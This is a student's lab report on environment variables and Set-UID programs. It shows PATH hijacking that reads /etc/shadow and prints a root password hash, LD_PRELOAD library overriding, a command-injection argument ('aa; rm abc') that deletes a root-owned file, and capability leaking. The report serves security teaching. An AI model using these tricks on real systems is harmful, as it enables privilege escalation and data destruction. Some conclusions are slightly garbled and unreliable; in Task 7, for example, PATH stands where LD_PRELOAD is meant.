Lab1-report

Environment Variable and Set-UID Progarm Lab

Name: 范心宇

Student number: 57117129

Task 1 Manipulating Environment Variables

◆ Experiment objective

1. Learn to use [printenv] and [env] commands to print out the environment variables.

2. Learn to use [export] and [unset] commands to set or unset environment variables.

◆ Experiment procedure

Open the terminal and type in [printenv] command:

```
[09/02/20]seed@VM:~/Desktop$ printenv
XDG_VTNR=7
ORBIT_SOCKETDIR=/tmp/orbit-seed
XDG_SESSION_ID=c1
XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/seed
IBUS_DISABLE_SNOOPER=1
TERMINATOR_UUID=urn:uuid:0cb7288c-d287-4670-b431-81cb109b70eb
CLUTTER_IM_MODULE=xim
SESSION=ubuntu
GIO_LAUNCHED_DESKTOP_FILE_PID=2856
ANDROID_HOME=/home/seed/android/android-sdk-linux
GPG_AGENT_INFO=/home/seed/.gnupg/S.gpg-agent:0:1
TERM=xterm
SHELL=/bin/bash
DERBY_HOME=/usr/lib/jvm/java-8-oracle/db
QT_LINUX_ACCESSIBILITY_ALWAYS_ON=1
LD_PRELOAD=/home/seed/lib/boost/libboost_program_options.so.1.64.0
:/home/seed/lib/boost/libboost_filesystem.so.1.64.0:/home/seed/lib
/boost/libboost_system.so.1.64.0
WINDOWID=56623108
UPSTART_SESSION=unix:abstract=/com/ubuntu/upstart-session/1000/148
1
GNOME_KEYRING_CONTROL=
GTK_MODULES=gail:atk-bridge:unity-gtk-module
```

Type in [env] command:

```
[09/02/20]seed@VM:~$ env | grep LD_PRELOAD
LD_PRELOAD=/home/seed/lib/boost/libboost_program_options.so.1.64.0
:/home/seed/lib/boost/libboost_filesystem.so.1.64.0:/home/seed/lib
/boost/libboost_system.so.1.64.0
```

Type in [export] and [unset] commands:

```
[09/02/20]seed@VM:~$ export MYENVIRON=0109
[09/02/20]seed@VM:~$ printenv MYENVIRON
0109
[09/02/20]seed@VM:~$ unset MYENVIRON
[09/02/20]seed@VM:~$ printenv MYENVIRON
[09/02/20]seed@VM:~$
```

Task 2: Passing Environment Variables from Parent Process to Child Process

◆ Experiment objective

Study that whether environment variables inherit from parent process or not when the ***fork()*** function duplicates a child process.

◆ Experiment procedure

1. Observe the child process.

Create and compile the given program, run it and save the result in *child* file:

```
switch(childPid = fork()){
    case 0:  /* child process */
        printenv();
        exit(0);
    default:  /* parent process */
        //printenv();
        exit(0);
}
```

```
[09/03/20]seed@VM:~/.../chapter0$ touch task2.c
[09/03/20]seed@VM:~/.../chapter0$ vi task2.c
[09/03/20]seed@VM:~/.../chapter0$ gcc task2.c -o task2
[09/03/20]seed@VM:~/.../chapter0$ ./task2 > child
```

2. Observe the parent process.

Modify the program to print out the environment variables of the parent process, run it and save the result in *parent* file:

```
switch(childPid = fork()){
    case 0:  /* child process */
        //printenv();
        exit(0);
    default:  /* parent process */
        printenv();
        exit(0);
}
```

```
[09/03/20]seed@VM:~/.../chapter0$ vi task2.c
[09/03/20]seed@VM:~/.../chapter0$ gcc task2.c -o task2
[09/03/20]seed@VM:~/.../chapter0$ ./task2 > parent
```

3. Compare the results in *child* file and *parent* file.

Use command [diff] to compare the two files:

```
[09/02/20]seed@VM:~/.../chapter0$ diff child parent
[09/02/20]seed@VM:~/.../chapter0$
```

◆ Experiment conclusion

It is obvious that there's no differences between the two files, which means function ***fork()*** duplicates the environment variables from parent process to child process.

Task 3: Environment Variables and execve()

◆ Experiment objective

Study how environment variables are affected when a new program is

executed via ***execve()***.

◆ Experiment procedure

1. Observe environment variables when “NULL” is passed to ***execve()***.

   When the third parameter passed to function ***execve()*** is “NULL”:

```
execve("/usr/bin/env", argv, NULL);
```

```
[09/03/20]seed@VM:~/.../chapter0$ touch task3.c
[09/03/20]seed@VM:~/.../chapter0$ vi task3.c
[09/03/20]seed@VM:~/.../chapter0$ gcc task3.c -o task3
[09/03/20]seed@VM:~/.../chapter0$ ./task3
[09/03/20]seed@VM:~/.../chapter0$
```

2. Observe environment variables when “environ” is passed to ***execve()***.

   When the third parameter passed to function ***execve()*** is “environ”:

```
execve("/usr/bin/env", argv, environ);
```

```
[09/03/20]seed@VM:~/.../chapter0$ vi task3.c
[09/03/20]seed@VM:~/.../chapter0$ gcc task3.c -o task3
[09/03/20]seed@VM:~/.../chapter0$ ./task3
XDG_VTNR=7
ORBIT_SOCKETDIR=/tmp/orbit-seed
XDG_SESSION_ID=c1
XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/seed
IBUS_DISABLE_SNOOPER=1
TERMINATOR_UUID=urn:uuid:1ce72088-f348-4890-a319-6e9dd0b78b6f
CLUTTER_IM_MODULE=xim
SESSION=ubuntu
GIO_LAUNCHED_DESKTOP_FILE_PID=3112
ANDROID_HOME=/home/seed/android/android-sdk-linux
GPG_AGENT_INFO=/home/seed/.gnupg/S.gpg-agent:0:1
TERM=xterm
SHELL=/bin/bash
DERBY_HOME=/usr/lib/jvm/java-8-oracle/db
QT_LINUX_ACCESSIBILITY_ALWAYS_ON=1
LD_PRELOAD=/home/seed/lib/boost/libboost_program_options.so.1.64.0
:/home/seed/lib/boost/libboost_filesystem.so.1.64.0:/home/seed/lib
/boost/libboost_system.so.1.64.0
WINDOWID=60817412
UPSTART_SESSION=unix:abstract=/com/ubuntu/upstart-session/1000/147
```

◆ Experiment conclusion

We can conclude that the new program gets its environment variables from the third parameter passed to the function ***execve()***. If this parameter is set as “NULL”, then the new program will not achieve environment variables.

Task 4: Environment Variables and system()

◆ Experiment objective

Study how environment variables are affected when a new program is executed via the ***system()*** function.

◆ Experiment procedure

Compile and run the given pragram:

```
[09/02/20]seed@VM:~/.../chapter0$ touch task4.c
[09/02/20]seed@VM:~/.../chapter0$ vi task4.c
[09/02/20]seed@VM:~/.../chapter0$ gcc -o task4 task4.c
[09/02/20]seed@VM:~/.../chapter0$ ./task4
LESSOPEN=| /usr/bin/lesspipe %s
GNOME_KEYRING_PID=
USER=seed
LANGUAGE=en_US
UPSTART_INSTANCE=
J2SDKDIR=/usr/lib/jvm/java-8-oracle
XDG_SEAT=seat0
SESSION=ubuntu
XDG_SESSION_TYPE=x11
COMPIZ_CONFIG_PROFILE=ubuntu-lowgfx
ORBIT_SOCKETDIR=/tmp/orbit-seed
LD_LIBRARY_PATH=/home/seed/source/boost_1_64_0/stage/lib:/home/see
d/source/boost_1_64_0/stage/lib:
SHLVL=1
LIBGL_ALWAYS_SOFTWARE=1
J2REDIR=/usr/lib/jvm/java-8-oracle/jre
HOME=/home/seed
QT4_IM_MODULE=xim
OLDPWD=/home/seed/Desktop
DESKTOP_SESSION=ubuntu
```

◆ Experiment conclusion

It is verified that function ***system()*** automatically passes environment variables of the old process to the bash it invokes.

Task 5: Environment Variable and Set-UID Programs

◆ Experiment objective

Study that whether environment variables are inherited by the Set-UID program’s process from the user’s process.

◆ Experiment procedure

1. Create the Set-UID program.

   Create and compile the given program, and change it into a Set-UID program:

```
[09/03/20]seed@VM:~/.../chapter0$ touch task5.c
[09/03/20]seed@VM:~/.../chapter0$ vi task5.c
[09/03/20]seed@VM:~/.../chapter0$ gcc task5.c -o task5
[09/03/20]seed@VM:~/.../chapter0$ sudo chown root task5
[09/03/20]seed@VM:~/.../chapter0$ sudo chmod 4755 task5
[09/03/20]seed@VM:~/.../chapter0$ ls -l task5
-rwsr-xr-x 1 root seed 7396 Sep  3 03:03 task5
```

2. Set the environment variables in user's shell.

   Set the environment variables:

```
[09/03/20]seed@VM:~/.../chapter0$ export PATH=.:$PATH
[09/03/20]seed@VM:~/.../chapter0$ printenv PATH
.:/home/seed/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
:/sbin:/bin:/usr/games:/usr/local/games:.:/snap/bin:/usr/lib/jvm/j
ava-8-oracle/bin:/usr/lib/jvm/java-8-oracle/db/bin:/usr/lib/jvm/ja
va-8-oracle/jre/bin:/home/seed/android/android-sdk-linux/tools:/ho
me/seed/android/android-sdk-linux/platform-tools:/home/seed/andro
d/android-ndk/android-ndk-r8d:/home/seed/.local/bin
```

```
[09/02/20]seed@VM:~$ export LD_LIBRARY_PATH=/home/seed/Desktop:$LD
_LIBRARY_PATH
[09/02/20]seed@VM:~$ printenv LD_LIBRARY_PATH
/home/seed/Desktop:/home/seed/source/boost_1_64_0/stage/lib:/home/
seed/source/boost 1 64 0/stage/lib:
```

```
[09/02/20]seed@VM:~$ export MYENVIRON=109
[09/02/20]seed@VM:~$ printenv MYENVIRON
109
```

3. Run the Set-UID program and observe the environment variables.

   Run the Set-UID program:

```
[09/02/20]seed@VM:~/.../chapter0$ ./task5
XDG_VTNR=7
ORBIT_SOCKETDIR=/tmp/orbit-seed
XDG_SESSION_ID=c1
XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/seed
IBUS_DISABLE_SNOOPER=1
TERMINATOR_UUID=urn:uuid:f3b03b29-55f6-428f-8b33-1a339832beb4
CLUTTER_IM_MODULE=xim
SESSION=ubuntu
GIO_LAUNCHED_DESKTOP_FILE_PID=6333
ANDROID_HOME=/home/seed/android/android-sdk-linux
GPG_AGENT_INFO=/home/seed/.gnupg/S.gpg-agent:0:1
TERM=xterm
SHELL=/bin/bash
DERBY_HOME=/usr/lib/jvm/java-8-oracle/db
QT_LINUX_ACCESSIBILITY_ALWAYS_ON=1
WINDOWID=56623108
UPSTART_SESSION=unix:abstract=/com/ubuntu/upstart-session/1000/148
1
```

   Find the environment variables that we set before:

PATH

```
PATH=.:/home/seed/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:.:/snap/bin:/usr/lib/jvm/java-8-oracle/bin:/usr/lib/jvm/java-8-oracle/db/bin:/usr/lib/jvm/java-8-oracle/jre/bin:/home/seed/android/android-sdk-linux/tools:/home/seed/android/android-sdk-linux/platform-tools:/home/seed/android/android-ndk/android-ndk-r8d:/home/seed/.local/bin
```

MYENVIRON

```
MYENVIRON=109
```

LD_LIBRARY_PATH

```
[09/02/20]seed@VM:~/.../chapter0$ ./task5 | grep LD_LIBRARY_PATH
[09/02/20]seed@VM:~/.../chapter0$
```

◆ Experiment conclusion

We can see that Set-UID child process inherits environment variables ***PATH*** and ***MYENVIRON*** from parent shell process, but does not inherit environment variable ***LD_LIBRARY_PATH***.

Task 6: The PATH Environment Variable and Set-UID Programs

◆ Experiment objective

Study how environment variable ***PATH*** affects Set-UID program through function ***system()***.

◆ Experiment procedure

1. Change the environment settings of Ubuntu 16.04.

```
[09/03/20]seed@VM:~/.../chapter0$ sudo rm /bin/sh
[09/03/20]seed@VM:~/.../chapter0$ sudo ln -s /bin/zsh /bin/sh
```

2. Create the Set-UID program.

   Compile the program and set it as a Set-UID program:

```
[09/03/20]seed@VM:~/.../chapter0$ gcc task6.c -o task6
[09/03/20]seed@VM:~/.../chapter0$ ls -l task6
-rwxrwxr-x 1 seed seed 7348 Sep  3 05:07 task6
[09/03/20]seed@VM:~/.../chapter0$ sudo chown root task6
[09/03/20]seed@VM:~/.../chapter0$ sudo chmod 4755 task6
[09/03/20]seed@VM:~/.../chapter0$ ls -l task6
-rwsr-xr-x 1 root seed 7348 Sep  3 05:07 task6
```

3. Change environment variable ***PATH***.

Add directory ***/home/seed/Desktop/chapter0*** to the beginning of the ***PATH*** environment variable:

```
[09/03/20]seed@VM:~/.../chapter0$ export PATH=/home/seed/Desktop/c
hapter0:$PATH
[09/03/20]seed@VM:~/.../chapter0$ printenv PATH
/home/seed/Desktop/chapter0:/home/seed/bin:/usr/local/sbin:/usr/lo
```

4. Write my “ls” program and test.

Jump to directory ***/home/seed/Desktop/chapter0***, and write my “ls.c” program. It aims at checking the contents of file ***/etc/shadow***:

```c
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

extern char **environ;

int main()
{
    char *argv[3];

    argv[0] = "/bin/cat";
    argv[1] = "/etc/shadow";
    argv[2] = NULL;

    execve("/bin/cat", argv, environ);

    return 0;
}
```

Compile ls.c as ls and run it:

```
[09/03/20]seed@VM:~/.../chapter0$ gcc ls.c -o ls
[09/03/20]seed@VM:~/.../chapter0$ ./ls
/bin/cat: /etc/shadow: Permission denied
```

We can see that under normal user “seed”, we don’t have access to file ***/etc/shadow***.

5. Run the Set-UID program.

Run the Set-UID program “task6”:

```
[09/03/20]seed@VM:~/.../chapter0$ ./task6
root:$6$NrF46O1p$.vDnKEtVFC2bXslxkRuT4FcBqPpxLqW05IoECr0XKzEEO5wj8
aU3GRHW2BaodUn4K3vgyEjwPspr/kqzAqtcu.:17400:0:99999:7:::
daemon:*:17212:0:99999:7:::
bin:*:17212:0:99999:7:::
sys:*:17212:0:99999:7:::
sync:*:17212:0:99999:7:::
games:*:17212:0:99999:7:::
man:*:17212:0:99999:7:::
lp:*:17212:0:99999:7:::
mail:*:17212:0:99999:7:::
news:*:17212:0:99999:7:::
uucp:*:17212:0:99999:7:::
proxy:*:17212:0:99999:7:::
www-data:*:17212:0:99999:7:::
backup:*:17212:0:99999:7:::
```

Now we invoke our “ls” program to check file ***/etc/shadow*** successfully, that means Set-UID program “task6” has root privileges and leaks it to the user.

◆ Experiment conclusion

Trough this experience, we can learn that function ***system()*** invokes ***bash*** to help it execute command. While ***bash*** searches directories defined by ***PATH*** to find the binary file that it needs to execute, users can substitute system file for their own malicious executable file through modifying ***PATH*** variable. Then the malicious code is on run.

Task 7: The LD_PRELOAD Environment Variable and Set-UID Programs

◆ Experiment objective

Study how environment variable ***LD_PRELOAD*** affects Set-UID program through dynamic linker.

◆ Experiment procedure

1. Build a dynamic link library.

Write the program and compile it as a dynamic linking library:

```
[09/03/20]seed@VM:~/.../chapter0$ touch task7.c
[09/03/20]seed@VM:~/.../chapter0$ vi task7.c
[09/03/20]seed@VM:~/.../chapter0$ gcc -fPIC -g -c task7.c
[09/03/20]seed@VM:~/.../chapter0$ gcc -shared -o libmylib.so.1.0.1
 task7.o -lc
```

2. Set the environment variable ***LD_PRELOAD***.

```
[09/03/20]seed@VM:~/.../chapter0$ export LD_PRELOAD=./libmylib.so.
1.0.1
```

3. Write the test program and test.

```
[09/03/20]seed@VM:~/.../chapter0$ touch myprog.c
[09/03/20]seed@VM:~/.../chapter0$ vi myprog.c
[09/03/20]seed@VM:~/.../chapter0$ gcc myprog.c -o myprog
```

Make *myprog* a regular program and run it as a normal user:

```
[09/03/20]seed@VM:~/.../chapter0$ ./myprog
I am not sleeping!
```

We can see *myprog* invokes the ***sleep()*** function that we write.

Make *myprog* a Set-UID root program and run it as a normal user:

```
[09/03/20]seed@VM:~/.../chapter0$ sudo chown root myprog
[09/03/20]seed@VM:~/.../chapter0$ sudo chmod 4755 myprog
[09/03/20]seed@VM:~/.../chapter0$ ./myprog
[09/03/20]seed@VM:~/.../chapter0$
```

Now we can see *myprog* invokes the ***sleep()*** function which belongs to the system.

Make *myprog* a Set-UID root program, export the ***LD_PRELOAD*** environment variable again in the root account and run it:

```
root@VM:/home/seed/Desktop/chapter0# export LD_PRELOAD=./libmylib.
so.1.0.1
root@VM:/home/seed/Desktop/chapter0# ./myprog
I am not sleeping!
```

Now *myprog* invokes the ***sleep()*** function that we write.

We exit the root account and run our program:

```
root@VM:/home/seed/Desktop/chapter0# exit
exit
[09/03/20]seed@VM:~/.../chapter0$ ./myprog
[09/03/20]seed@VM:~/.../chapter0$
```

Though we change the environment variable ***LD_PRELOAD*** as root account, it still invokes the ***sleep()*** function which belongs to the system.

Make *myprog* a Set-UID user1 program, export the ***LD_PRELOAD*** environment variable again in a different user's account (not-root user) and run it:

```
[09/03/20]seed@VM:~/.../chapter0$ ls -l myprog
-rwsr-xr-x 1 root seed 7348 Sep  3 07:29 myprog
[09/03/20]seed@VM:~/.../chapter0$ su hwo
Password:
hwo@VM:/home/seed/Desktop/chapter0$ export LD_PRELOAD=./libmylib.s
o.1.0.1
hwo@VM:/home/seed/Desktop/chapter0$ ./myprog
hwo@VM:/home/seed/Desktop/chapter0$
```

This time it invokes the ***sleep()*** function which belongs to the system.

◆ Experiment conclusion

From the results of execution, we can conclude that when the effective UID is not equal to the real UID, the program will not take the path, which account newly adds to the ***PATH*** variable, into consideration. This could be a protective measure for Set-UID program.

Task 8: Invoking External Programs Using system() versus execve()

◆ Experiment objective

Study the possible security risk on account of invoking external programs using ***system()*** versus ***execve()***.

◆ Experiment procedure

1. Create the given program and use the function ***system()***.

Create, compile and set the program as a Set-UID program:

```
system(command);
//execve(v[0], v, NULL);
```

```
[09/03/20]seed@VM:~/.../chapter0$ touch task8.c
[09/03/20]seed@VM:~/.../chapter0$ vi task8.c
[09/03/20]seed@VM:~/.../chapter0$ gcc task8.c -o task8
[09/03/20]seed@VM:~/.../chapter0$ sudo chown root task8
[09/03/20]seed@VM:~/.../chapter0$ sudo chmod 4755 task8
```

Run the program:

```
[09/03/20]seed@VM:~/.../chapter0$ ./task8 /etc/shadow
root:$6$NrF46O1p$.vDnKEtVFC2bXslxkRuT4FcBqPpxLqW05IoECr0XKzEEO5wj
aU3GRHW2BaodUn4K3vgyEjwPspr/kqzAqtcu.:17400:0:99999:7:::
daemon:*:17212:0:99999:7:::
bin:*:17212:0:99999:7:::
sys:*:17212:0:99999:7:::
sync:*:17212:0:99999:7:::
```

Create a file under root account and make sure it is inaccessible to normal user:

```
[09/03/20]seed@VM:~/.../chapter0$ su
Password:
root@VM:/home/seed/Desktop/chapter0# touch abc
root@VM:/home/seed/Desktop/chapter0# ls -l abc
-rw-r--r-- 1 root root 0 Sep  3 07:55 abc
root@VM:/home/seed/Desktop/chapter0# exit
exit
```

Use the Set-UID program remove file:

```
[09/03/20]seed@VM:~/.../chapter0$ ls -l a*
-rw-r--r-- 1 root root    0 Sep  3 08:00 abc
-rwxrwxr-x 1 seed seed 7496 Sep  2 05:06 a.out
[09/03/20]seed@VM:~/.../chapter0$ ./task8 "aa; rm abc"
/bin/cat: aa: No such file or directory
[09/03/20]seed@VM:~/.../chapter0$ ls -l a*
-rwxrwxr-x 1 seed seed 7496 Sep  2 05:06 a.out
```

We can see that file *abc* is removed successfully.

2. Create the given program and use the function ***execve()***.

Rewrite and compile:

```
//system(command);
execve(v[0], v, NULL);
```

Run the program:

```
[09/03/20]seed@VM:~/.../chapter0$ ./task8 /etc/shadow
root:$6$NrF46O1p$.vDnKEtVFC2bXslxkRuT4FcBqPpxLqW05IoECr0XKzEEO5wj
aU3GRHW2BaodUn4K3vgyEjwPspr/kqzAqtcu.:17400:0:99999:7:::
daemon:*:17212:0:99999:7:::
bin:*:17212:0:99999:7:::
sys:*:17212:0:99999:7:::
sync:*:17212:0:99999:7:::
games:*:17212:0:99999:7:::
```

Try to remove the file:

```
[09/03/20]seed@VM:~/.../chapter0$ su
Password:
root@VM:/home/seed/Desktop/chapter0# touch abc
root@VM:/home/seed/Desktop/chapter0# exit
exit
[09/03/20]seed@VM:~/.../chapter0$ ls -l a*
-rw-r--r-- 1 root root    0 Sep  3 08:09 abc
-rwxrwxr-x 1 seed seed 7496 Sep  2 05:06 a.out
[09/03/20]seed@VM:~/.../chapter0$ ./task8 "aa; rm abc"
/bin/cat: 'aa; rm abc': No such file or directory
```

Now we could not remove any file.

◆ Experiment conclusion

Through the comparison of the different executive outcomes when the Set-UID program respectively uses function ***system()*** and ***execve()***, we can make

conclusions that ***execve()*** is more secure than ***system()***. Since function ***system()*** uses ***bash*** to help it execute command, which accepts parameters without any limit, users can pass data that might transform into command to the function and then ***bash*** execute these commands with root privileges. While ***execve()*** directly execute binary file and it only accepts input as parameters for command, so it is more secure.

Task 9: Capability Leaking

◆ Experiment objective

Study the capability leaking.

◆ Experiment procedure

1. Create the file */etc/zzz*.

```
[09/03/20]seed@VM:~/.../chapter0$ su
Password:
root@VM:/home/seed/Desktop/chapter0# touch /etc/zzz
root@VM:/home/seed/Desktop/chapter0# chmod 0644 /etc/zzz
root@VM:/home/seed/Desktop/chapter0# ls -l /etc/zzz
-rw-r--r-- 1 root root 0 Sep  3 08:30 /etc/zzz
root@VM:/home/seed/Desktop/chapter0# exit
exit
```

2. Create program file and make it a Set-UID program.

```
[09/03/20]seed@VM:~/.../chapter0$ touch task9.c
[09/03/20]seed@VM:~/.../chapter0$ vi task9.c
[09/03/20]seed@VM:~/.../chapter0$ gcc task9.c -o task9
```

```
[09/03/20]seed@VM:~/.../chapter0$ sudo chown root task9
[09/03/20]seed@VM:~/.../chapter0$ sudo chmod 4755 task9
```

3. Run the program.

```
[09/03/20]seed@VM:~/.../chapter0$ ./task9
[09/03/20]seed@VM:~/.../chapter0$
```

```
[09/03/20]seed@VM:~/.../chapter0$ cat /etc/zzz
Malicious Data
```

The file has been modified.

◆ Experiment conclusion

File */etc/zzz* still could be modified after we set the effective UID as the user ID, that is because although we downgrade the account, we forget to close the file handle which we open with root privileges. With the privileged file handle, user program can still write in data to the file that theoretically could only be modified by root account.